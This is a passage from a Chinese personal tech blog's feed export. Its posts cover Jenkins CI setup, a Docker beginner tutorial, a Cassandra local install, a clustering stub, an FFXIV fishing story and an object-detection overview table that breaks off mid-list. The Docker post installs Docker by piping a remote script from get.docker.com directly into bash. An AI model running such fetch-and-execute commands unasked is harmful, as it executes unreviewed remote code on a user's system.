<p>如果说可以在线上进行这一切的操作,包括测试和代码审查,能将这一切的流程进行自动化处理,<br>那么对于后续的开发工作来说,可以提升相当大的开发效率。</p>
<p>于是请到今天的主角,<a href="https://www.jenkins.io/zh/">Jenkins</a>,一款好用的开源持续集成工具。</p>
<h1 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h1><p>我们想要的解决的问题是,希望将从代码提交至部署运行之间的所有流程,让 Jenkins 帮我们做自动化处理。</p>
<p>那么简单来说,可以将步骤整理成下面这个样子:</p>
<ol>
<li>通过 Git 提交代码到 Gitee。</li>
<li>触发 Gitee 的提交 hook ,会向指定的地址发送一个 post 请求。</li>
<li>让 Jenkins 获取这个 post 请求, 然后 Jenkins 在本地服务器上将程序打包并上传至云上镜像。</li>
<li>通知集群,并更新至最新的镜像。</li>
</ol>
<h2 id="0x00-从安装开始"><a href="#0x00-从安装开始" class="headerlink" title="0x00 从安装开始"></a>0x00 从安装开始</h2><p>安装 Jenkins 并不是一件特别难的事,请看<a href="https://www.jenkins.io/zh/download/">这里</a>。<br>选择正确的版本安装,以及正确地配置环境即可。</p>
<p>这里嘛 ~ 以后想起来的话会贴一些可能需要注意的事项。</p>
<p>可以先看下 Gitee 的 [官方教程] (<a href="https://gitee.com/help/articles/4193">https://gitee.com/help/articles/4193</a>)</p>
<h2 id="0x01-配置-Jenkins"><a href="#0x01-配置-Jenkins" class="headerlink" title="0x01 配置 Jenkins"></a>0x01 配置 Jenkins</h2><p>事实上 Jenkins 的配置并不难,依照其一步一步来即可。</p>
<h3 id="Step-1-新建"><a href="#Step-1-新建" class="headerlink" title="Step 1 新建"></a>Step 1 新建</h3><p>新建一个自由风格的项目</p>
<h3 id="Step-2-配置代码管理方式"><a href="#Step-2-配置代码管理方式" class="headerlink" title="Step 2 配置代码管理方式"></a>Step 2 配置代码管理方式</h3><p>使用 Git 来管理我们的的代码</p>
<h3 id="Step-3-配置-Git-hooks"><a href="#Step-3-配置-Git-hooks" class="headerlink" title="Step 3 配置 Git hooks"></a>Step 3 配置 Git hooks</h3><p>安装 Gitee 插件,部署 Deployment Key,部署 Gitee Hooks</p>
<h3 id="Step-4-配置-Docker"><a href="#Step-4-配置-Docker" class="headerlink" title="Step 4 配置 Docker"></a>Step 4 配置 Docker</h3><p>Docker Cloud,Docker 配置</p>
<h3 id="Step-5-配置运行模式"><a href="#Step-5-配置运行模式" class="headerlink" title="Step 5 配置运行模式"></a>Step 5 配置运行模式</h3><p>在部署前如何运行命令行,或额外的命令</p>
]]></content>
<categories>
<category>技术</category>
<category>Docker</category>
</categories>
<tags>
<tag>Docker</tag>
<tag>Jenkins</tag>
</tags>
</entry>
<entry>
<title>0x07 - Docker小鲸鱼的使用笔记 [1] 从无到有</title>
<url>/2021/05/24/0x07-Docker_Usage/</url>
<content><![CDATA[<p><img src="/images/docker.png" alt="Docker 小鲸鱼"></p>
<h1 id="Docker-Docker"><a href="#Docker-Docker" class="headerlink" title="Docker? Docker!"></a>Docker? Docker!</h1><p>Docker,码头工人,搬运工,承运者,可爱的小鲸鱼。</p>
<p>简单来说 <a href="https://www.docker.com/">Docker</a> 是一个开源的应用容器引擎。<br>开发者把应用,软件还有相应依赖通过 Docker 打包成一个轻量级、可移植的容器,<br>只要目标机器拥有 Docker 的运行环境,不用关心内部的依赖即可方便完成应用分发和发布工作,<br>非常适用于集群环境,既节约开销,也方便部署。</p>
<h1 id="它如何工作?"><a href="#它如何工作?" class="headerlink" title="它如何工作?"></a>它如何工作?</h1><p>对于 Docker 来说,其整体的框架结构像这样:</p>
<p>首先,我们将应用打包为一个又一个的 IMAGE;<br>然后,在需要运行时,我们将这些镜像提取出来,创建一个对应的 CONTAINER 来运行它;<br>而这个打包好的 IMAGE 存储的地方,就叫做 REGISTRY。</p>
<p>因此运行的流程可以概括如下:</p>
<ol>
<li>从 REGISTRY 获取 IMAGE</li>
<li>创建一个 CONTAINER。</li>
<li>将 IMAGE 放入 CONTAINER 运行。</li>
</ol>
<p>同一个 IMAGE 可以创建千千万万个 CONTAINER。<br>同一个 REGISTRY 可以存放许许多多的 IMAGE。<br>而一个 CONTAINER 一次尽量只运行一个 IMAGE。</p>
<p>似乎会有人将 CONTAINER 当作是虚拟机来理解,<br>但是在这里,CONTAINER 更像是一个独立的进程,而非是一个虚拟机。</p>
<p>因此如果需要多容器运行,请使用 docker-compose 工具进行管理。</p>
<h1 id="如何开始"><a href="#如何开始" class="headerlink" title="如何开始"></a>如何开始</h1><p>Reference:<br>当然,Docker 的项目网址还有<a href="https://docs.docker.com/">文档</a>其实非常清晰明了。<br>如果对英文比较苦手,一些成品文档,例如 <a href="https://www.runoob.com/docker/docker-tutorial.html">runoob</a> 也是不错的去处。</p>
<p>这里只是拾人牙慧,总结了一些自己在 Docker 使用过程中的经验。</p>
<p>那么,让我们开始吧——</p>
<h2 id="0x00-安装"><a href="#0x00-安装" class="headerlink" title="0x00 安装"></a>0x00 安装</h2><h3 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h3><p>广大的 Linux 用户只需要运行以下内容:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun <span class="comment"># 当然,Aliyun 是可选的</span></span></span><br></pre></td></tr></table></figure>
<p>等待着一切安装完成——<br>然后让我们来看看成果:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> docker -v</span></span><br></pre></td></tr></table></figure>
<p>Ok,你已经准备好下一步了。</p>
<h3 id="Windows"><a href="#Windows" class="headerlink" title="Windows"></a>Windows</h3><p>Windows 下的 Docker 可以在 <a href="https://hub.docker.com/editions/community/docker-ce-desktop-windows">这里</a> 找到。<br>像是一般软件一样点击下一步安装完成后,小鲸鱼会出现在你的通知栏。</p>
<p>这样,你就可以在 Windows 下使用 Docker 了。</p>
<p>PS. 小鲸鱼偏好 Linux,在 Windows 下运行会额外消耗资源,且需要安装 WSL (Windows Subsystem for Linux)来承载运行。</p>
<h3 id="MacOS"><a href="#MacOS" class="headerlink" title="MacOS"></a>MacOS</h3><p>MacOS 我们可以使用 Homebrew 来安装 Docker。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> brew install --cask --appdir=/Applications docker</span></span><br></pre></td></tr></table></figure>
<p>和 Windows 一样,安装完成后小鲸鱼会出现在你的状态栏。</p>
<p>Enjoy ~</p>
<h2 id="0x01-Hello-World"><a href="#0x01-Hello-World" class="headerlink" title="0x01 Hello World"></a>0x01 Hello World</h2><p><code>Docker</code> 的 <code>Hello World</code> 分为两步:</p>
<ol>
<li>将应用打包为 <code>Docker Image</code></li>
<li>将 <code>Docker Image</code> 放入 <code>Docker Container</code> 运行</li>
</ol>
<h3 id="1-打包"><a href="#1-打包" class="headerlink" title="1. 打包"></a>1. 打包</h3><p>首先,让我们建立一个简单的应用。</p>
<p>假设我们的应用如下:<br>我们希望运行 <code>Docker</code>后,在屏幕上打印下 <code>Hello World</code>。</p>
<p>那么实际操作的流程如下</p>
<p>运行</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> mkdir helloWorld</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> helloWorld</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> vi run.sh</span></span><br></pre></td></tr></table></figure>
<p>并保存以下命令</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">echo</span> <span class="string">"Hello world"</span></span></span><br></pre></td></tr></table></figure>
<p>在当前文件夹下新建一个 <code>Dockerfile</code><br><strong>注意!很多关于镜像的设置都基于 Dockerfile ,这里先简单略过。</strong><br><strong>关于 Dockerfile 的编写,请看<a href="https://www.runoob.com/docker/docker-dockerfile.html">这里</a>。</strong></p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> vi Dockerfile</span></span><br></pre></td></tr></table></figure>
<p>然后让我们在 <code>Dockerfile</code> 里添加如下的信息:</p>
<figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu <span class="comment"># 这是告诉 Docker, 这个镜像基于什么构建,所有的 Docker 镜像都需要这么一行命令</span></span><br><span class="line"> <span class="comment"># 不同的应用基于不同的镜像,这里由于我们只用了一些基础命令,所以 ubuntu 镜像即可</span></span><br><span class="line"><span class="keyword">MAINTAINER</span> Shigure_Hotaru <span class="comment"># 维护人,也就是作者</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> . /code <span class="comment"># 将文件夹内的东西 Copy 到 镜像中 /code 文件夹内</span></span></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="bash"> /code <span class="comment"># 相当于 cd /code </span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> <span class="built_in">echo</span> <span class="string">"Echo Before Running The Docker Image"</span> <span class="comment"># RUN 修饰的命令表示在 "构建镜像" 时运行的命令</span></span></span><br><span class="line"><span class="keyword">CMD</span><span class="bash"> sh run.sh <span class="comment"># CMD 修饰的命令表示在 "运行镜像" 时运行的命令</span></span></span><br></pre></td></tr></table></figure>
<p>准备就绪以后这样运行:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker build -t hw:v1.0 . <span class="comment"># -t 表示 tag,可以理解为是版本号,在 hw 冒号后的就是版本信息了,最后的 . 表示当前文件夹</span></span></span><br></pre></td></tr></table></figure>
<p><code>Docker</code> 会把你在 <code>Dockerfile</code> 里写入的步骤,一步步执行。</p>
<p>我们关注一下第 5 步:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Step 5/6 : RUN echo "Echo Before Running The Docker Image"</span><br><span class="line"> ---> Running in b0446bd5ad97</span><br><span class="line">Echo Before Running The Docker Image</span><br><span class="line">Removing intermediate container b0446bd5ad97</span><br></pre></td></tr></table></figure>
<p>这一步就相当于是运行 <code>RUN</code> 后的命令。<br>假如有需要安装依赖,或者在运行前进行的准备工作,都可以用 <code>RUN</code> 修饰完成。</p>
<p>在完成了镜像构建以后,让我们看看我们的新镜像:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker images</span></span><br><span class="line">REPOSITORY TAG IMAGE ID CREATED SIZE</span><br><span class="line">hw v1.0.0 54c64c094be8 7 minutes ago 72.7MB</span><br><span class="line">ubuntu latest 7e0aa2d69a15 4 weeks ago 72.7MB</span><br></pre></td></tr></table></figure>
<p>可以看到我们的镜像除了 hw 以外,还有一个 ubuntu 镜像,这个就是我们 hw 基于的原始镜像了。</p>
<p>如果要移除镜像:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker rmi hw:v1.0.0</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> sudo docker rmi 54c64c094be8 <span class="comment"># 使用镜像 ID 也可删除镜像</span></span></span><br></pre></td></tr></table></figure>
<hr>
<h3 id="2-运行"><a href="#2-运行" class="headerlink" title="2. 运行"></a>2. 运行</h3><p>其实 <code>Docker</code> 的运行十分简单:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker run hw:v1.0.0 <span class="comment"># 在新容器中运行 hw:v1.0.0 的镜像</span></span></span><br><span class="line">Hello World</span><br></pre></td></tr></table></figure>
<p>在这里我们没有用上各种各样的额外设置,下表总结了一些可能会用上的选项,更全的列表 <a href="https://docs.docker.com/engine/reference/commandline/run/">请看这里</a></p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">docker run [OPTIONS] IMAGE [COMMAND] [ARGS...]</span><br><span class="line"> -d 后台运行该镜像</span><br><span class="line"> -i 以交互模式运行容器,一般与 -t 一起使用</span><br><span class="line"> -t 分配一个伪输入端口,一般与 -i 一起使用</span><br><span class="line"> -p 指定端口映射,格式:主机(宿主)端口:容器端口</span><br><span class="line"> 例如: docker run -p 1234:5000 hw:v1.0.0 将暴露容器的 5000 端口,并将主机的 1234 端口映射到上面</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>
<p>在执行时,<code>Docker</code> 会给这个镜像分配一个容器,我们可以通过下面的命令来查看正在运行的容器:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker ps -a</span></span><br><span class="line">CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES</span><br><span class="line">0c7d9897897d hw:v1.0.0 "/bin/sh -c 'sh run.…" 20 seconds ago Exited (0) 19 seconds ago kind_ardinghelli</span><br></pre></td></tr></table></figure>
<p>可以看到这个容器已经执行结束,假如我们需要知道执行过程中的日志信息,我们需要这样做:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker logs 0c7d9897897d</span></span><br><span class="line">Hello World</span><br></pre></td></tr></table></figure>
<p>如果要把容器移除的话,需要这样执行:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo docker rm 0c7d9897897d</span></span><br><span class="line">0c7d9897897d</span><br></pre></td></tr></table></figure>
<p>以上,你已经学会如何正确驾驶小鲸鱼了;<br>现在,开始你最伟大的远航吧 ~</p>
<h2 id="之后的事"><a href="#之后的事" class="headerlink" title="之后的事"></a>之后的事</h2><p>事实上,如果要把一个镜像从无到有,从代码到镜像,放入容器,最后再从外部访问这个服务,<br>中间涉及到的过程十分复杂,不仅需要搭配合适的网关网口,还需要注意各种端口转发和服务框架。</p>
<p>最后涉及到业务的逻辑,还有一些部署时的杂事,也让人十分头疼。</p>
<p>小鲸鱼虽然脾气不大,但是运送小鲸鱼的人可是十足的难缠。</p>
<p>从搭建环境开始,到上传至云上的 Repository ,再到最后的部署落地,<br>不仅命令繁多,其中的过程也称不上简单。</p>
<p>那么该如何将这一切处理成流水线,成为 Docker 达人呢?</p>
<p>其实社区已经给出了不错的答案,<br>下一次让我们来尝试一下,Jenkins x Docker 的解决方案。</p>
]]></content>
<categories>
<category>技术</category>
<category>Docker</category>
</categories>
<tags>
<tag>Docker</tag>
</tags>
</entry>
<entry>
<title>0x06 - 聚类算法 - 我从哪里来,又到哪里去</title>
<url>/2021/05/13/0x06-Clustering/</url>
<content><![CDATA[<h1 id="聚类,Clustering"><a href="#聚类,Clustering" class="headerlink" title="聚类,Clustering"></a>聚类,Clustering</h1><p>今天遇到了一个需求,需要在二维平面上将相似(相近)的坐标归类到一起,好方便下一步的数据分析工作。</p>
<p>那么趁此机会,不如来说说不同聚类算法的,计算过程。</p>
<p><em>施工中</em></p>
<h2 id="开始之前"><a href="#开始之前" class="headerlink" title="开始之前"></a>开始之前</h2><p>先来聊聊什么是聚类。</p>
<p>聚类是统计学上的概念,属于机器学习中的非监督学习。简单来说,应用这种算法的最根本目的就在于,让数据根据本身的特性进行分类,最终区分出同类与不同类的数据。</p>
<p>由于事先我们并不知道该如何分类处理这些数据,因此,我们并没有明确的分类准则。正因为这这样,我们需要数据本身来为我们提供划分标准,因而属于非监督学习。</p>
<h2 id="0x00-K-Means"><a href="#0x00-K-Means" class="headerlink" title="0x00 K-Means"></a>0x00 K-Means</h2><h2 id="0x01-Meanshift-Clustering"><a href="#0x01-Meanshift-Clustering" class="headerlink" title="0x01 Meanshift Clustering"></a>0x01 Meanshift Clustering</h2><h2 id="0x02-DBScan-Clustering"><a href="#0x02-DBScan-Clustering" class="headerlink" title="0x02 DBScan Clustering"></a>0x02 DBScan Clustering</h2><p>Density-based spatial clustering of applications with noise (DBSCAN)</p>
<h2 id="0x03-Agglomerative-Hierarchical-Clustering"><a href="#0x03-Agglomerative-Hierarchical-Clustering" class="headerlink" title="0x03 Agglomerative Hierarchical Clustering"></a>0x03 Agglomerative Hierarchical Clustering</h2>]]></content>
<categories>
<category>技术</category>
<category>机器学习</category>
</categories>
<tags>
<tag>Clustering</tag>
</tags>
</entry>
<entry>
<title>0x05 - FFXIV - 02 - 捕鱼人</title>
<url>/2021/05/10/0x05-FFXIV-2/</url>
<content><![CDATA[<h2 id="0x00"><a href="#0x00" class="headerlink" title="0x00"></a>0x00</h2><p>捕鱼人的清晨总是来得很早。<br>擦拭着鱼竿,筹备着鱼饵,大清早奔赴钓场等待着合适的时机。</p>
<p>「嗯,今天也是个好天气~」</p>
<p>狂风呼啸的大海,电闪雷鸣,翻涌的波涛仿佛要把一切吞噬殆尽,红玉炮台的一隅岌岌可危。<br>此情此景,捕鱼人露出了欣慰的笑容。</p>
<p>……今天,红龙会出海。</p>
<h2 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h2><p>众所周知,魔大陆有三幻神,<br>而我们的捕鱼人,也有四幻神,当然,说的是鱼。</p>
<p>东之红龙,西之沙皇;天之蝴蝶螺,湖之胸脊鲨。<br>个个都身怀绝技,随随便便都是能脱的主。</p>
<p>当七彩天主的门票吃掉了第 10086 条嗡嗡石蝇后,几近破产的捕鱼人,最终决定放弃延夏旅游公司的往返三日游。</p>
<p>她把鱼竿晾了起来,拿起了许久未动的黑魔杖……</p>
<p>据说后来,七彩沟每次荡漾起核爆的声响,都会有快乐的捕鱼人,还有端着的,烤熟了的七彩天主。</p>
<h2 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h2><p>红龙鲜少有浮出水面的一天,有时候甚至要等好几十天才能等到一个不错的窗口。</p>
<p>但是红龙是个死傲娇,如果让它起它就起,红龙就会很没面子。<br>一般来说,需要邻家阿姨苦尔鳗大婶,苦苦给红龙介绍,<br>红龙才会羞涩地从水里起来,轻轻拽一拽捕鱼人的钩。</p>
<p>因此,钓红龙是门技术活,耐心与恒心并存。</p>
<p>首先,在红龙开始活动前先用若干的鱼饵贿赂苦尔鳗大婶;<br>睁一只眼闭一只眼的苦尔鳗大婶,这时候才有可能会去敲一敲红龙的门;而绝大多数时候,苦尔鳗大婶会一个人回来。<br>这个时候就需要安抚一下苦尔鳗大婶,让它静下心来再去一次。</p>
<p>成为工具人的苦尔鳗大婶自然不会乐意,去过 2 ~ 3 次以后,苦尔鳗大婶也会愤而脱钩。<br>在此之后,只能从头开始,用更多的鱼饵,更多的贿赂……</p>
<p>当然,还有更多的苦尔鳗,和更多的脱钩……</p>
<p>「在苦尔鳗套娃的循环中体验,更快,更高,更强的痛楚。」——来自加雷马帝国的某位不愿意透露姓名的资深捕鱼人。</p>
<p>「捕鱼人,可不适合在钓红龙时,露出脱钩的表情。」——来自伊修加德豪门的某位捕鱼人。</p>
<h2 id="0x03"><a href="#0x03" class="headerlink" title="0x03"></a>0x03</h2><p>建设伊修加德新农村,我辈义不容辞。</p>
<p>捕鱼人不知道为什么,就被拽上了去往云冠群岛的特快空艇。</p>
<p>云冠群岛的独特气候每 3 个多小时就会变更一次。<br>这让,习惯了看早上天气,来预测下午天气的捕鱼人难以进行捕鱼作业。</p>
<p>“云海中可能会没有蜻蜓,没有狮鹫。”<br>“但是莫莫拉莫拉的模样却依然会如期而至。”</p>
<p>——还有在一起的,奇奇怪怪,形形色色的不死鱼。</p>
]]></content>
<categories>
<category>碎碎念</category>
<category>FFXIV</category>
</categories>
<tags>
<tag>FFXIV的故事</tag>
</tags>
</entry>
<entry>
<title>0x04 - Cassandra & Spark:[1] 从 Cassandra 开始的大数据处理之路</title>
<url>/2021/05/06/0x04-Cassandra-1/</url>
<content><![CDATA[<h1 id="从-Cassandra-开始的大数据处理之路"><a href="#从-Cassandra-开始的大数据处理之路" class="headerlink" title="从 Cassandra 开始的大数据处理之路"></a>从 Cassandra 开始的大数据处理之路</h1><p>每每遇到数据量过大的场景后,如何对海量数据进行处理就成了一个头疼的问题。使用关系型数据库时往往会遇到数据量大,表格离散,分区分表繁琐,难以简单处理等问题。在对数据读写量有海量需求的时候,使用 Cassandra 这样的 NoSQL 分布式数据库或许是一个合理的解决方案。</p>
<h2 id="Cassandra-是什么"><a href="#Cassandra-是什么" class="headerlink" title="Cassandra 是什么"></a>Cassandra 是什么</h2><p>所以 Cassandra 是什么呢?</p>
<div class='quote_div_en'><p align='left'><i class="fa fa-quote-left"></i></p>
<dd>Cassandra 是一套开源分布式 NoSQL 数据库系统,
<dd>它最初由 Facebook 开发,用于储存收件箱等简单格式数据。
<dd>集 GoogleBigTable 的数据模型与 Amazon Dynamo 的完全分布式的架构于一身,
<dd>Facebook 于 2008 将 Cassandra 开源。
<dd>此后,由于 Cassandra 良好的可扩展性,
<dd>被 Digg、Twitter 等知名 Web 2.0 网站所采纳,
<dd>成为了一种流行的分布式结构化数据存储方案。
<dt align='right'> ------ From <a href="https://baike.baidu.com/item/cassandra/20140772">百度百科</a></dt>
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<p>NoSQL (Not Only SQL) 即为非关系型的数据库。</p>
<p>为了应对网络应用场景下的高并发和大规模数据应用,Cassandra 应运而生,是为了解决大数据应用难题而诞生的数据库解决方案之一。</p>
<p>但是抛开华丽的外表, Cassandra 也只是一种存储数据的方法而已,如何去使用,如何去利用这些数据才是我们应该关心的事。</p>
<h2 id="Cassandra-的不同之处"><a href="#Cassandra-的不同之处" class="headerlink" title="Cassandra 的不同之处"></a>Cassandra 的不同之处</h2><ul>
<li><p>Cassandra 是分布式系统,在存储空间不够时,只需要增加节点就可以扩充存储空间。 而在使用关系型数据库,例如 mysql 时,它的单表数据量是有瓶颈的,当数据量到达一定级别,就需要考虑分库分表或者分区等。而这一点在 Cassandra 这里,仅需要增加节点就可以解决了,非常方便。</p>
</li>
<li><p>Cassandra 可以动态增删表的字段,这在大型项目的部署上,是很大的效率提升。</p>
</li>
<li><p>Cassandra 作为分布式处理的数据库,IO 性能也是非常关键的考量要点之一,而比较高效的写入性能意味着 Cassandra 可以应对大量写入、统计和分析的应用场景。但相对应的,读取性能则需要进行一定程度的优化。</p>
</li>
<li><p>Cassandra 作为 NoSQL 数据库,其建表操作还有设计逻辑与传统关系型数据库有比较大的差异。由于没有 Join 操作,在建表时需要考虑各种各样的因素。不过在熟悉 NoSQL 的处理逻辑之后,这种处理方式在大数据环境下更加便于处理。</p>
</li>
</ul>
<h2 id="Open-The-Box-打开盒子"><a href="#Open-The-Box-打开盒子" class="headerlink" title="Open The Box 打开盒子"></a>Open The Box 打开盒子</h2><p>于是这里,简单了解过 Cassandra 以后,让我们部署一下 Cassandra 服务。</p>
<p>由于 Cassandra 是集群数据库,所以大部分情况都需要在云端进行操作。 Aliyun 的 Cassandra 服务就可以满足绝大部分的需求。</p>
<p>那么如果,我们需要在本地跑一个简单的测试用数据库,该怎么做呢?</p>
<p>首先是我的环境:</p>
<table>
<thead>
<tr>
<th>Object</th>
<th>Version</th>
</tr>
</thead>
<tbody><tr>
<td>OS.</td>
<td>Ubuntu 20.04</td>
</tr>
<tr>
<td>JVM.</td>
<td>Open-JDK-1.8.0_292</td>
</tr>
<tr>
<td>Cassandra</td>
<td>apache-cassandra-3.11.10-bin.tar.gz</td>
</tr>
</tbody></table>
<p>在安装 Cassandra 前需要确认 Java 环境。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> java -version</span></span><br></pre></td></tr></table></figure>
<p>假如没有 JVM, 直接运行 Cassandra 会报以下的错误:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Cassandra 3.0 and later require Java 8u40 or later.</span><br></pre></td></tr></table></figure>
<p>安装 JDK 的方法(JRE 也行,不过因为本人会做 JAVA 开发,因此会需要用上 JDK):</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo apt-get update</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> sudo apt-get install openjdk-8-jdk <span class="comment"># 别忘了更改环境变量</span></span></span><br></pre></td></tr></table></figure>
<p>在配置好环境以后,我们就可以开始安装 Cassandra 了:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> wget https://mirrors.bfsu.edu.cn/apache/cassandra/3.11.10/apache-cassandra-3.11.10-bin.tar.gz</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="comment"># wget https://mirrors.tuna.tsinghua.edu.cn/apache/cassandra/3.11.10/apache-cassandra-3.11.10-bin.tar.gz # 你可能需要清华源</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> tar -zxvf apache-cassandra-3.11.10-bin.tar.gz</span></span><br></pre></td></tr></table></figure>
<p>解压后的目录为 <code>apache-cassandra-3.11.10-bin</code>, 现在让我们来试一试:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> apache-cassandra-3.11.10-bin/bin</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> cassandra <span class="comment"># 一切从这里开始</span></span></span><br></pre></td></tr></table></figure>
<p>在一长串的处理,一箩筐的日志以后,假如没有报 <code>error</code>,那么 Cassandra 的本地服务就已经启动了。<br>现在,让我们通过 <code>cqlsh</code> 来连接数据库。<code>cqlsh</code> 也在 <code>bin</code> 文件夹内</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> ./cqlsh</span></span><br><span class="line">Connected to Test Cluster at 127.0.0.1:9042.</span><br><span class="line">[cqlsh 5.0.1 | Cassandra 3.11.10 | CQL spec 3.4.4 | Native protocol v4]</span><br><span class="line">Use HELP for help.</span><br><span class="line">cqlsh ></span><br></pre></td></tr></table></figure>
<p>简单尝试一下:</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">cqlsh <span class="operator">></span> <span class="keyword">DESCRIBE</span> KEYSPACES;</span><br><span class="line"></span><br><span class="line">system_traces system_schema system_auth <span class="keyword">system</span> system_distributed</span><br></pre></td></tr></table></figure>
<p>那么到这里,Cassandra 的本地环境算是搭建完成了,需要远程连接云端 Cassandra 数据库的话,请这样写:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> ./cqlsh -u <span class="string">'username'</span> -p <span class="string">'password'</span> your.cassandra.server.com 8888</span></span><br></pre></td></tr></table></figure>
<p>切记,Cassandra 默认只允许本地连接,如果需要远程连接,请到服务器端更改 <code>cassandra/conf</code> 下 <code>cassandra.yaml</code> 的配置。<br>如果遇到 <code>Last error: Connection refused</code>,可以参看 <a href="https://stackoverflow.com/questions/29121904/cassandra-cqlsh-connection-refused">这个帖子</a>。</p>
<h2 id="SQL-到-CQL"><a href="#SQL-到-CQL" class="headerlink" title="SQL 到 CQL"></a>SQL 到 CQL</h2><p>我会推荐直接查看 <a href="https://www.w3cschool.cn/cassandra/cassandra_introduction.html">w3cSchool</a>。如果有耐心读英文的话,<a href="http://cassandra.apache.org/doc/latest/cql/">官方文档</a> 也是个不错的参考处。</p>
<p><em>施工中,或许会懒,将来兴许会有 CQL 的基本用法</em><br><em>以上,是鸽子宣言</em></p>
<hr>
]]></content>
<categories>
<category>技术</category>
<category>Cassandra & Spark</category>
</categories>
<tags>
<tag>Cassandra</tag>
</tags>
</entry>
<entry>
<title>0x03 - 图像识别 学习地图</title>
<url>/2021/04/30/0x03-Machine-Learning-1/</url>
<content><![CDATA[<h2 id="物件识别"><a href="#物件识别" class="headerlink" title="物件识别"></a>物件识别</h2><p>搭建在 PaddlePaddle 上的物件识别模块,Github: <a href="https://github.com/PaddlePaddle/PaddleDetection">PaddleDetection</a>。</p>
<p>下面是概述图。</p>
<table>
<tbody class='my_table'>
<thead>
<tr align="center" valign="bottom">
<td>
<b>Architectures</b>
</td>
<td>
<b>Backbones</b>
</td>
<td>
<b>Components</b>
</td>
<td>
<b>Data Augmentation</b>
</td>
</tr>
</thead>
<tr valign="top">
<td>
<ul><li><b>Two-Stage Detection</b></li>
<ul>
<li>Faster RCNN</li>
<li>FPN</li>
<li>Cascade-RCNN</li>
<li>Libra RCNN</li>
<li>Hybrid Task RCNN</li>
<li>PSS-Det</li>
</ul>
</ul>
<ul><li><b>One-Stage Detection</b></li>
<ul>
<li>RetinaNet</li>
<li>YOLOv3</li>
<li>YOLOv4</li>
<li>PP-YOLO</li>
<li>SSD</li>
</ul>
</ul>
<ul><li><b>Anchor Free</b></li>
<ul>
<li>CornerNet-Squeeze</li>
<li>FCOS</li>
<li>TTFNet</li>
</ul>
</ul>
<ul>
<li><b>Instance Segmentation</b></li>
<ul>
<li>Mask RCNN</li>
<li>SOLOv2</li>
</ul>
</ul>
<ul>
<li><b>Face-Detction</b></li>
<ul>
<li>FaceBoxes</li>
<li>BlazeFace</li>
<li>BlazeFace-NAS</li>
</ul>
</ul>
</td>
<td>
<ul>
<li>ResNet(&vd)</li>
<li>ResNeXt(&vd)</li>
<li>SENet</li>
<li>Res2Net</li>
<li>HRNet</li>
<li>Hourglass</li>
<li>CBNet</li>
<li>GCNet</li>
<li>DarkNet</li>
<li>CSPDarkNet</li>
<li>VGG</li>
<li>MobileNetv1/v3</li>
<li>GhostNet</li>
<li>Efficientnet</li>
</ul>
</td>
<td>
<ul><li><b>Common</b></li>
<ul>
<li>Sync-BN</li>
<li>Group Norm</li>
<li>DCNv2</li>
<li>Non-local</li>
</ul>
</ul>
<ul><li><b>FPN</b></li>
<ul>
<li>BiFPN</li>
<li>BFP</li>
<li>HRFPN</li>
<li>ACFPN</li>
</ul>
</ul>
<ul><li><b>Loss</b></li>
<ul>
<li>Smooth-L1</li>
<li>GIoU/DIoU/CIoU</li>
<li>IoUAware</li>
